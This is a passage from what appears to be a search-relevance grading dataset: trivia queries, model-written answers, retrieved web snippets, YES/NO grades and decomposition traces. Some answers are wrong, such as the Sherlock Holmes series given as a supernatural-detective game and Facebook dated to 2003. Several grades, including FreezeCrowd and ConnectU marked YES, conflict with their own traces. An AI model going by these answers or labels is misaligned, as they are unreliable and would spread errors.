                "text": "From Wikipedia, the free encyclopedia\n\t \nThis article is about the browser produced by NCSA. For the browser that was later renamed, see Netscape Navigator.\n NCSA Mosaic      NCSA Mosaic 2.7 for Unix     Original author(s)   \n  Marc Andreessen \n Eric Bina  \n     Developer(s)   NCSA    Initial release 0.5 / January\u00a023, 1993; 30 years ago [1]      Final release   3.0\u00a0 \n / 7 January 1997; 26 years ago     Repository      github .com /alandipert /ncsa-mosaic    \n    Written in  C  [2]      Platform   \n  AmigaOS \n Classic Mac OS \n Unix \n OpenVMS \n Microsoft Windows  \n    Available in English    Type   Web browser     License  Proprietary   Website  www .ncsa .illinois .edu /enabling /mosaic    \n NCSA Mosaic is a discontinued web browser, and one of the first to be widely available. It was instrumental in popularizing the World Wide Web and the general Internet by integrating multimedia such as text and graphics. [3]   [4]   [5]  It was named for its support of multiple Internet protocols, such as Hypertext Transfer Protocol, File Transfer Protocol, Network News Transfer Protocol, and Gopher. [6]  Its intuitive interface, reliability, personal computer support, and simple installation all contributed to its popularity within the web. [7]  Mosaic is the first browser to display images inline with text instead of in a separate window. [8]  It is often described as the first graphical web browser, though it was preceded by WorldWideWeb, the lesser-known Erwise, [9]  and ViolaWWW.\n Mosaic was developed at the National Center for Supercomputing Applications (NCSA) [8]  at the University of Illinois at Urbana\u2013Champaign beginning in late 1992. NCSA released it in 1993, [10]  and officially discontinued development and support on January 7, 1997. [11]  \n Starting in 1995, Mosaic lost market share to Netscape Navigator and only had a tiny fraction of users left by 1997, when the project was discontinued. Microsoft licensed Mosaic to create Internet Explorer in 1995.\nHistory[edit]\n      Mosaic 1.0 running under System 7.1, displ",
                "model_trace": "Query Decomposition:\n1. [Name of the first commercial web browser]: The document is about NCSA Mosaic, which is a web browser -> ([1], SATISFIED)\n2. [Released in 1993]: The document states that NCSA Mosaic was released in 1993 -> ([1], SATISFIED)\n3. [Allowed users to view and navigate the World Wide Web]: The document mentions that NCSA Mosaic was instrumental in popularizing the World Wide Web and allowed viewing and navigating it -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "1993: Mosaic Launches and the Web is Set Free",
                "url": "https://webdevelopmenthistory.com/1993-mosaic-launches-and-the-web-is-set-free/",
                "published_date": null,
                "text": "On 14 January 1993, Marc Andreessen put a call out on the WWW-Talk mailing list for people to test a new WWW browser in development. It was initially \u201chypertext only,\u201d he wrote, \u201cbut will soon have multimedia capabilities also.\u201d He followed up on 23 January 1993 with the announcement of \u201calpha/beta version 0.5\u201d of the browser, which he called X Mosaic. The X signified that it was built for the X Window System, which meant that it only worked on a few platforms \u2014 notably, not yet including Microsoft Windows or Apple Macintosh. \nAndreessen, a student at the National Center for Supercomputing Applications (NCSA) at the University of Illinois, listed out the current capabilities of the browser, which included \u201cdocument source- and URL-viewing windows\u201d and a \u201chotlist capability\u201d that was \u201cpersistent across sessions\u201d (what we now call bookmarks). Among \u201cfuture capabilities\u201d he listed multimedia and a \u201c3D/immersive interface.\u201d The multimedia would come soon enough, but we\u2019re still waiting for the 3D/immersive interface \u2014 a.k.a. the metaverse, in today\u2019s parlance.\n Marc Andreessen, circa 1995  \nThe first to reply to Andreessen\u2019s announcement was the Web\u2019s inventor, Tim Berners-Lee, who put copies of the X Mosaic files onto the CERN server. He praised the new browser for having \u201ca lot of practical things which real uses [sic] want \u2014 like mail and print and a bookmarks and stuff.\u201d He had some feature requests and bug reports, but overall seemed impressed. A follow-up message ended with this note of encouragement:\n \u201cEvery new browser is sexier than the last. There is a lot of cross-fertilisation going on, which is very good. KUTGW [Keep Up The Good Work] everyone\u2026\u201d \nAndreessen sent progress reports to WWW-Talk over the coming weeks, along with a \u201csolicitation for widgets.\u201d He also began adding the name of his programming partner at NCSA, Eric Bina, to the announcements. \nMosaic 1.0, Including Embedded Images\nThis all happened before Andreessen\u2019s famous message in WWW-Talk dated 25 February 1993, in which he proposes a new H",
                "model_trace": "Query Decomposition:\n1. {name of the first commercial web browser}: The document mentions the name of the browser, X Mosaic -> ([1], SATISFIED)\n2. {released in 1993}: The document specifies that the browser was announced in January 1993 -> ([1], SATISFIED)\n3. {allowed users to view and navigate the World Wide Web}: The document describes the capabilities of the browser, including document viewing and URL viewing -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query. YES."
            },
            {
                "grade": "NO",
                "title": "Mosaic - Glossary - DevX",
                "url": "https://www.devx.com/terms/mosaic/",
                "published_date": null,
                "text": "Definition Mosaic is the name of the first widely-used web browser that revolutionized the Internet by introducing graphical interface. Designed at the National Center for Supercomputing Applications (NCSA) and released in 1993, Mosaic allowed users to view text and images together on the same page for the first time. Its user-friendly interface laid the groundwork for subsequent browsers and hugely contributed to the rapid growth of the World Wide Web. Phonetic  The phonetic spelling of \u201cMosaic\u201d is: /mo\u028a\u02c8ze\u026a.\u026ak/  Key Takeaways  Mosaic is often credited as being one of the first web browsers to provide a graphical user interface, highly contributing to the popularity of the world wide web. Developed by a team at the National Center for Supercomputing Applications (NCSA), including Marc Andreessen, Mosaic was officially released in 1993. It was instrumental in escalating the growth of the commercial web in the 1990s. Mosaic has left an enduring legacy by being the basis for many later web browsers. Netscape, often seen as the first commercial web browser, was directly based on Mosaic, and the web browser Internet Explorer was indirectly based on it, resulting in enduring influence on the kind and format of content available on the internet.  Importance Mosaic is a significant term in the field of technology because it refers to the first widely used web browser that helped popularize the World Wide Web. Developed by a team at the National Center for Supercomputing Applications, including Marc Andreessen, at the University of Illinois, Mosaic was released in 1993. It was the first software to provide a user-friendly interface with integrated graphics that could navigate the Internet using a graphical user interface (GUI), which was a revolutionary concept at that time. It laid the foundation for future browsers, contributed greatly to the rapid adoption of the internet, and led to the internet\u2019s profound impact on society and business. Thus, Mosaic is a crucial term associated with the history of Internet developme",
                "model_trace": "Query Decomposition:\n1. {name of the first commercial web browser}: The document mentions that Mosaic is often credited as one of the first web browsers but also states that Netscape is often seen as the first commercial web browser -> ([1], UNSURE)\n2. {released in 1993}: The document clearly states that Mosaic was released in 1993 -> ([1], SATISFIED)\n3. {allowed users to view and navigate the World Wide Web}: The document describes Mosaic as allowing users to view text and images together and navigate the Internet using a graphical user interface -> ([1], SATISFIED)\n\nAssessment: The document provides detailed information about Mosaic, including its release in 1993 and its capabilities in navigating the World Wide Web. However, it introduces some ambiguity by mentioning Netscape as the first commercial web browser. Given the user's query specifically asks for the first commercial web browser, and the document does not unequivocally state that Mosaic was the first commercial web browser, the document is not fully aligned with the query's intent. NO."
            }
        ]
    },
    {
        "query": "What is the name of the popular video game series that allows players to take on the role of a supernatural detective solving occult-themed mysteries?",
        "grid_pos": [
            1,
            9
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The first commercial web browser released in 1993 that allowed users to view and navigate the World Wide Web was Mosaic.\n\n2. The social media platform founded in 2003 with the original purpose of helping college students connect with each other was Facebook.\n\n3. The popular video game series that allows players to take on the role of a supernatural detective solving occult-themed mysteries is the Sherlock Holmes series.\n\n4. The medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs, often causing shortness of breath, is pleural effusion.\n\n5. The popular finance app that allows users to track their spending, create budgets, and monitor their credit scores is Mint."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Professor Layton - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Professor_Layton",
                "published_date": "2008-01-02",
                "text": "This article is about the video game series. For the titular character, see Professor Hershel Layton.\n Professor Layton The original logo for the Professor Layton series Genre(s) Puzzle, adventure Developer(s) Level-5 Matrix Software Publisher(s) Level-5 Nintendo Creator(s) Akihiro Hino Artist(s) Takuz\u014d NaganoJun Suzuki Composer(s) Tomohito Nishiura Platform(s) Nintendo DS, Nintendo 3DS, Android, iOS, Nintendo Switch First release Professor Layton and the Curious Village February 15, 2007 Latest release Layton's Mystery Journey July 20, 2017 \n Professor Layton [a] is a puzzle adventure [1] video game series and transmedia franchise developed by Level-5. The property consists primarily of seven main video games, a mobile spin-off, an animated theatrical film, and an anime television series, while additionally incorporating an array of secondary titles and media, including a crossover game with Capcom's Ace Attorney series.\n The first three games follow the adventures of Professor Hershel Layton and his apprentice Luke Triton, while the subsequent three games and film are prequels, focusing on how Luke and Layton met and their original adventures. Later installments follow the escapades of Layton's children and their respective allies in settings old and new. Each title features a series of puzzles and mysteries provided by the citizens of locales that the main characters explore. It is not necessary to solve all the puzzles to progress, but some are mandatory, and at certain points in the game a minimum number of puzzles must be solved before the story can continue.\n Layton series games had shipped over 17 million units by June 2018, [2] making it Level-5's best-selling game franchise at the time. [3]\n\nHistory[edit]\nConception[edit]\nThe idea behind the Professor Layton formula was a direct result of series creator Akihiro Hino's childhood love of Akira Tago's popular Atama no Taisou series of puzzle books, which have sold more than 12 million copies to date in Japan. [4] \n The main character of the original Layton",
                "model_trace": "Query Decomposition:\n1. {popular video game series}: This document describes the Professor Layton series, which is a popular video game series -> ([1], SATISFIED)\n2. {allows players to take on the role of a supernatural detective}: The document does not mention anything about the protagonist being a supernatural detective -> ([0], UNSURE)\n3. {solving occult-themed mysteries}: The document does not mention anything about solving occult-themed mysteries -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {popular video game series}, which is satisfied. However, the other crucial subcomponents about the nature of the detective and the theme of the mysteries are not addressed in the document. Therefore, the document does not fully meet the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Agatha Christie (video game series) - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Agatha_Christie_(video_game_series)",
                "published_date": "2007-06-12",
                "text": "From Wikipedia, the free encyclopedia\n Parts of this article (those related to The following games in the series have been released:) need to be updated. The reason given is: There are other new games that have been released. Please help update this article to reflect recent events or newly available information. (July 2022) \n Agatha Christie Genre(s) Adventure Hidden object game Developer(s) AWE Productions DreamCatcher Interactive Blazing Griffin Floodlight Games Oberon Games Black Lantern Studios Publisher(s) The Adventure Company DreamCatcher Interactive Hullabu Tri Synergy Microids Platform(s) Windows Wii Nintendo DS PlayStation 4 Xbox One Xbox Series Nintendo Switch iOS Android First release Agatha Christie: And Then There Were None September 30, 2005 Latest release Agatha Christie: Hercule Poirot - The First Cases September 27, 2021 \nThe Agatha Christie series is a series of adventure games developed by AWE Games and published by The Adventure Company and DreamCatcher Interactive, based on the works of the English mystery writer Agatha Christie.\n\nProfile[edit]\nThe first three games were developed by American developer AWE Productions and published between 2005 and 2007 by The Adventure Company, a division of DreamCatcher Interactive. In 2006 Dreamcatcher Interactive and its intellectual property was bought by Austrian publishing company JoWooD Entertainment. Since the acquisition, DreamCatcher has continued to launch titles both under The Adventure Company and DreamCatcher labels including the fourth game in the Agatha Christie series (which was co-developed by AWE Productions and Black Lantern Studios for the Nintendo DS handheld console and was published by Dreamcatcher).\n Four hidden object games were developed by Floodlight Games and publised by Oberon Games between 2006 and 2010.\n In 2011, both DreamCatcher Interactive, and its parent company, JoWood Entertainment went into administration and their assets were absorbed into Nordic Games [1] (which was later re-branded as THQ Nordic). The company did n",
                "model_trace": "Query Decomposition:\n1. [popular video game series]: The document is about the Agatha Christie video game series, which is a known series -> ([1], SATISFIED)\n2. [allows players to take on the role of a supernatural detective]: The document does not mention any supernatural detective role in the Agatha Christie series -> ([0], UNSURE)\n3. [solving occult-themed mysteries]: The document does not mention any occult-themed mysteries in the Agatha Christie series -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is whether the document is about a popular video game series. While it satisfies this subcomponent, it does not address the specific aspects of being a supernatural detective or solving occult-themed mysteries, which are crucial to the query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Sherlock Holmes (video game series) - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Sherlock_Holmes_(video_game_series)",
                "published_date": "2007-06-21",
                "text": "From Wikipedia, the free encyclopedia\n\nSherlock Holmes Sherlock Holmes series logo used since mid-2007 Genre(s) Adventure Developer(s) Frogwares Publisher(s) \n The Adventure Company \n Ubisoft \n Digital Jesters \n Focus Home Interactive \n THQ \n Atlus \n Bigben Interactive \n Platform(s) \n Microsoft Windows \n Nintendo DS \n Nintendo 3DS \n PlayStation 3 \n PlayStation 4 \n Wii \n Xbox 360 \n Xbox One \n First release Sherlock Holmes: The Mystery of the Mummy 29 December 2002 Latest release Sherlock Holmes: Chapter One 16 November 2021 \n Sherlock Holmes is a series of adventure games developed by Frogwares. The games are based on Arthur Conan Doyle's Sherlock Holmes stories, featuring the detective Sherlock Holmes and his companion Dr. John H. Watson. While the franchise is based on Doyle's stories, each game has an original plot and storyline. [1]\n\nOverview[edit]\nEach game in the series lets the player control Holmes or Dr. Watson from either a first-person or third-person perspective. This adventure game series mainly consists of puzzles to solve during the course of the game, both by the use of Holmes' abductive reasoning and Watson's assistance. It also requires gamers to find clues and evidence hidden in the environment. Holmes must take this information back to his labs, both in his flat at 221 B Baker St. and elsewhere. Clues are examined under a microscope or combined with solvents to separate pertinent elements.\n The chief objective of the games is to solve the main mystery in the story, but the games also involve side investigations not central to the plot. The series takes Holmes all over the world, including to New Orleans, Switzerland, and Scotland.\n\nMain series[edit]\n Release timeline 2002 The Mystery of the Mummy 2003 2004 The Case of the Silver Earring 2005 2006 2007 The Awakened Versus Ars\u00e8ne Lupin 2008 2009 Versus Jack the Ripper 2010 2011 2012 The Testament of Sherlock Holmes 2013 2014 Crimes & Punishments 2015 2016 The Devil's Daughter 2017 2018 2019 2020 2021 Chapter One \n The Mystery of the Mummy[edit]\nO",
                "model_trace": "Query Decomposition:\n1. {popular video game series}: The document discusses the Sherlock Holmes video game series, which is a well-known series -> ([1], SATISFIED)\n2. {allows players to take on the role of a supernatural detective}: The document mentions that players control Sherlock Holmes, who is a detective, but not specifically a supernatural detective -> ([1], UNSATISFIED)\n3. {solving occult-themed mysteries}: The document does not mention occult-themed mysteries specifically, but it does mention solving mysteries -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {popular video game series} and {solving occult-themed mysteries}. The document satisfies the first subcomponent but is unclear about the second. Since the document does not explicitly confirm the supernatural or occult-themed aspect, it is not fully aligned with the query. NO."
            },
            {
                "grade": "NO",
                "title": "9 Best Occult Detective Games, Ranked",
                "url": "https://gamerant.com/best-occult-detective-games-ranked/",
                "published_date": null,
                "text": "Part of the appeal of detective games is the fact that they challenge one's critical thinking and observational skills. Sometimes, all it takes is one missed clue or one biased opinion that determines whether a case is solved or not. Players have to pay close attention and engage their minds in order to solve the mystery.\n    \n    \n                    And when occult themes like ghosts, devils, otherworldly dimensions, and more are factored in, it is even harder to discern the truth. Even in real life, there are some criminal cases that seem to be the result of the occult. But while mystery may still surround those cases, it's possible to find a satisfying conclusion in occult detective games, like the following titles.\n    \n    \n            9 \n        \n                            Deadly Premonition\n                    \n       \n                \n    \n    \n    \n                \n    \n                \n        \n                                                            \n                                                                                                                        \n                            \n    \n            \n        \n                                    \n    \n        \n                      Deadly Premonition  is an open-world horror game that's reminiscent of the series Twin Peaks. Players play through the perspective of special FBI agent Francis York Morgan as he goes to the town of Greenvale to investigate a murder.\n    \n    \n    \n                    The murder is similar to a string of other murders that have been happening in the world of the game, where red seeds were found on or near the body of the victim. Greenvale is a town full of secrets, and as York tries to solve his case he finds himself periodically trapped in a space called the Other World where he has to battle supernatural creatures. A sequel/prequel for the game,  Deadly Premonition 2 , came out in June 2022.\n    \n    \n            8 \n        \n                            Murdered: Soul Suspect\n                    \n       \n ",
                "model_trace": "Query Decomposition:\n1. {popular video game series}: The document mentions multiple games, but it is unclear if they are part of a series -> ([1], UNSURE)\n2. {allows players to take on the role of a supernatural detective}: The document mentions games like \"Deadly Premonition\" where players take on the role of a detective dealing with supernatural elements -> ([2], SATISFIED)\n3. {solving occult-themed mysteries}: The document describes games that involve solving mysteries with occult themes -> ([2], SATISFIED)\n\nAssessment: The document provides information about various games that involve supernatural detectives and occult-themed mysteries. However, it does not clearly identify a single popular video game series that fits the query. Since the document does not fully satisfy the query's need for the name of a specific series, it is not helpful.\n\nNO"
            },
            {
                "grade": "NO",
                "title": "Suggestions for occult themed mystery/investigation game?",
                "url": "https://forum.rpg.net/index.php?threads/suggestions-for-occult-themed-mystery-investigation-game.776952/",
                "published_date": null,
                "text": "#1\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\n\t\t\t\n\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\nI'm looking for a system/setting to run an occult themed mystery/investigation game, however I want to avoid horror element and focus on the mystery and awe. I've considered Chronicles of Darkness, but there's quite a big horror component. Any other suggestions?\n\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\n\t\t\n\t\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\n\t\t \n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\n\t\t\t \n\t\t\t \n\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t \n\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\n\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t#2\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\nSo, would it be right to say that you want a system for the investigation, which more or less leaves it up to you what's being investigated?\n\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\n\t\t \n\t\t\n\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\n\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t#3\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\nI'm looking more for a system or setting with an occult theme to it more than just a generic flexible investigative system (such as Gumshoe). If I had the time, I'd happily write up my own setting, but that just isn't feasible for me.\n\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\n\t\n\t\n\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\n\t\t \n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\n\t\t\t \n\t\t\t \n\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t \n\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\n\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t#4\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t Maybe Heaven &amp; Earth? It's a game about engaging mysteries of the bizarre and supernatural. Someone called it Twin Peaks: The Rpg. I dunno if I entirely agree, ",
                "model_trace": "Query Decomposition:\n1. {name of the popular video game series}: The query is looking for the name of a specific video game series -> ([0], UNSATISFIED)\n2. {players take on the role of a supernatural detective}: The document does not mention any specific video game series or roles -> ([0], UNSURE)\n3. {solving occult-themed mysteries}: The document discusses suggestions for an occult-themed mystery/investigation game, but it is more about tabletop RPG systems/settings rather than video games -> ([2], UNSATISFIED)\n\nAssessment: The document does not provide the name of a specific video game series and focuses on tabletop RPG systems/settings rather than video games. Therefore, it does not satisfy the query's requirements. NO."
            },
            {
                "grade": "YES",
                "title": "Top 20 Occult Videogames | Future Conscience",
                "url": "https://www.futureconscience.com/top-20-occult-videogames/",
                "published_date": null,
                "text": "Looking for games that involve the occult?\u00a0 Here\u2019s a list of 20 of my favourite that use the evocative world of ceremonial magic, supernatural entities and mysterious cults as part of their narrative and gameplay.\nTo be included on this list games need to have the occult as a central (but not necessarily primary) component; and I\u2019m avoiding those with just a generic fantasy approach to magic users.\u00a0 Not all of the examples on this list are serious games, but they do all treat the subject matter with an evocative weight \u2013 whether that just be through aesthetic or a deeper exploration of esoteric ideas and themes.\nI\u2019ve put them in order of my personal favourites, and in some cases I\u2019ve even lumped whole series together. Which games you\u2019ll prefer will depend more on your genre choice rather than individual rankings.\u00a0 I\u2019ve also restricted the list to games I\u2019ve actually played, so there\u2019s certainly some excellent ones missing (let us know on Twitter!).\u00a0 Not all of the games necessarily have the best gameplay out there, either, as they have been heavily weighted for the centrality of occult themes contained.\nIf you haven\u2019t seen them already, you might also be interested in my Top 10 Futurist Videogames and also the Complete List of Philip K Dick Videogame Adaptations.\nSo, let\u2019s take a look at some of the best that occult gaming has to offer\u2026\n     \n 20.\u00a0 Tomb Raider &amp; Assassin Creed Series \nLet\u2019s just get both of these out of the way first.\u00a0 There are so many occult and esoteric references in the Tomb Raider and Assassin Creed games that whole wiki sites are dedicated to them.\nBoth franchises use the occult as a central driver for their storylines, Assassin\u2019s Creed in a more unique and interesting way that ties together all kinds of historical moments into a grand occult conspiracy.\u00a0 Tomb Raider tends to rely on a more pulpy McGuffin type approach \u2013 but still has its moments and the newer games in particular have some great narrative around occult artifacts and those seeking to control them.\nThe only reason I\u2019m not",
                "model_trace": "Query Decomposition:\n1. {name of the popular video game series}: The document lists various video game series, so it may contain the name of the series in question -> ([1], SATISFIED)\n2. {players take on the role of a supernatural detective}: The document mentions games involving the occult, but it is unclear if any of these games specifically feature a supernatural detective -> ([0], UNSURE)\n3. {solving occult-themed mysteries}: The document focuses on games with occult themes, so it likely covers this aspect -> ([1], SATISFIED)\n\nAssessment: The document provides information on video game series with occult themes, which satisfies two of the relevant subcomponents. However, it does not explicitly mention that players take on the role of a supernatural detective. Given that the document lists multiple games and series, it is likely to be helpful in identifying the series in question. YES."
            }
        ]
    },
    {
        "query": "Which social media platform was founded in 2003 with the original purpose of helping college students connect with each other?",
        "grid_pos": [
            1,
            9
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The first commercial web browser released in 1993 that allowed users to view and navigate the World Wide Web was Mosaic.\n\n2. The social media platform founded in 2003 with the original purpose of helping college students connect with each other was Facebook.\n\n3. The popular video game series that allows players to take on the role of a supernatural detective solving occult-themed mysteries is the Sherlock Holmes series.\n\n4. The medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs, often causing shortness of breath, is pleural effusion.\n\n5. The popular finance app that allows users to track their spending, create budgets, and monitor their credit scores is Mint."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "ConnectU - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/ConnectU",
                "published_date": "2007-03-29",
                "text": "From Wikipedia, the free encyclopedia\n\nConnectU Inc. Type of site Social network service Founded December 2002 Cambridge, Massachusetts, U.S. Area served Worldwide Founder(s) Cameron Winklevoss Tyler Winklevoss Divya Narendra Products ConnectU.com, i2hub.com, Jungalu.com, StallScribbles.com, Digital Flyers, ConnectHi (theyearbook.org), ConnectGroups, The Winklevoss Chang Group Representative Program, The Rep Center, Social Butterfly Registration Required Launched May 21, 2004; 18 years ago (as HarvardConnection) Current status Defunct \n ConnectU (originally HarvardConnection) was a social networking website launched on May 21, 2004, [1] that was founded by Harvard students Cameron Winklevoss, Tyler Winklevoss, and Divya Narendra in December 2002. [2] Users could add people as friends, send them messages, and update their personal profiles to notify friends about themselves. [3] Users were placed in networks based upon the domain name associated with the email address they used for registration. [4]\n\nHistory[edit]\nIn December 2002, Harvard students and friends Cameron Winklevoss, Tyler Winklevoss, and Divya Narendra wanted a better way to connect with fellow students at Harvard and other universities. [5] As a result, the three conceived of a social network for Harvard students named HarvardConnection, [2] which was to expand to other schools around the country. [6] [7] [8] In January 2003, they enlisted the help of fellow Harvard student, programmer and friend Sanjay Mavinkurve to begin building HarvardConnection. [4] Sanjay commenced work on HarvardConnection but left the project in the spring of 2003 when he graduated and went to work for Google. [9] \n After the departure of Sanjay Mavinkurve, the Winklevosses and Narendra approached Narendra's friend, Harvard student and programmer Victor Gao to work on HarvardConnection. [4] Gao, a senior in Mather House, had opted not to become a full partner in the venture, instead agreeing to be paid in a work for hire capacity on a rolling basis. [8] He was paid $400 for ",
                "model_trace": "Query Decomposition:\n1. {social media platform founded in 2003}: The document mentions that ConnectU was initially conceived in December 2002, and work began in January 2003 -> ([2], SATISFIED)\n2. {original purpose of helping college students connect with each other}: The document clearly states that ConnectU was created to connect Harvard students and later expanded to other universities -> ([1], SATISFIED)\n\nAssessment: Both relevant subcomponents are satisfied. The document provides a clear answer to the query regarding the founding year and the original purpose of the social media platform. YES."
            },
            {
                "grade": "NO",
                "title": "Sidechat",
                "url": "https://www.sidechat.lol/",
                "published_date": "2010-06-02",
                "text": "0\n Skip to Content\n Sidechat\n Privacy Policy\n Terms of Service\n Careers\n Community Guidelines\n Support\n Open Menu Close Menu\n Sidechat\n Privacy Policy\n Terms of Service\n Careers\n Community Guidelines\n Support\n Open Menu Close Menu\n Privacy Policy\n Terms of Service\n Careers\n Community Guidelines\n Support\n\nyour college\u2019s private community\n\ndownload",
                "model_trace": "Query Decomposition:\n1. {social media platform}: The document is about a social media platform called Sidechat -> ([1], SATISFIED)\n2. {founded in 2003}: The document does not provide information about the founding year of Sidechat -> ([0], UNSURE)\n3. {original purpose of helping college students connect with each other}: The document mentions \"your college\u2019s private community,\" which implies that it is designed for college students to connect with each other -> ([2], SATISFIED)\n\nAssessment: The document does not provide information about the founding year, but it does indicate that Sidechat is a social media platform aimed at college students. However, without the founding year, it is impossible to confirm whether it was founded in 2003.\n\nNO."
            },
            {
                "grade": "YES",
                "title": "Joining FreezeCrowd is EASY and FREE!",
                "url": "https://freezecrowd.com/",
                "published_date": "2013-10-06",
                "text": "Interactively connect in photos with your interests\n\nConnect with friends through college and alumni communities.\nJoin a conversation through categorized photos.\nKeep your profile private and safe from outside search engines.\n\nWhat people are saying about FreezeCrowd\n\nFreezeCrowd is an amazing way for me to keep in touch with my friends.\n\nMary Williams\n\n>Upload a Photo!\n& Categorize!\n\nSend a speech bubble comment off to a friend,\nand join the FreezeCrowd conversation!\n\nThe best part of FreezeCrowd, is the first 4 letters",
                "model_trace": "Query Decomposition:\n1. {social media platform}: The document is about FreezeCrowd, which is a social media platform -> ([1], SATISFIED)\n2. {founded in 2003}: The document does not mention the founding year of FreezeCrowd -> ([0], UNSURE)\n3. {original purpose of helping college students connect with each other}: The document mentions that FreezeCrowd helps users connect with friends through college and alumni communities, which aligns with the original purpose of helping college students connect -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {social media platform} and {original purpose of helping college students connect with each other}. Both of these subcomponents are satisfied. The founding year is not provided in the document, but this does not affect the evaluation as it is tagged [0]. YES."
            },
            {
                "grade": "YES",
                "title": "History of Facebook",
                "url": "https://en.wikipedia.org/wiki/History_of_Facebook",
                "published_date": null,
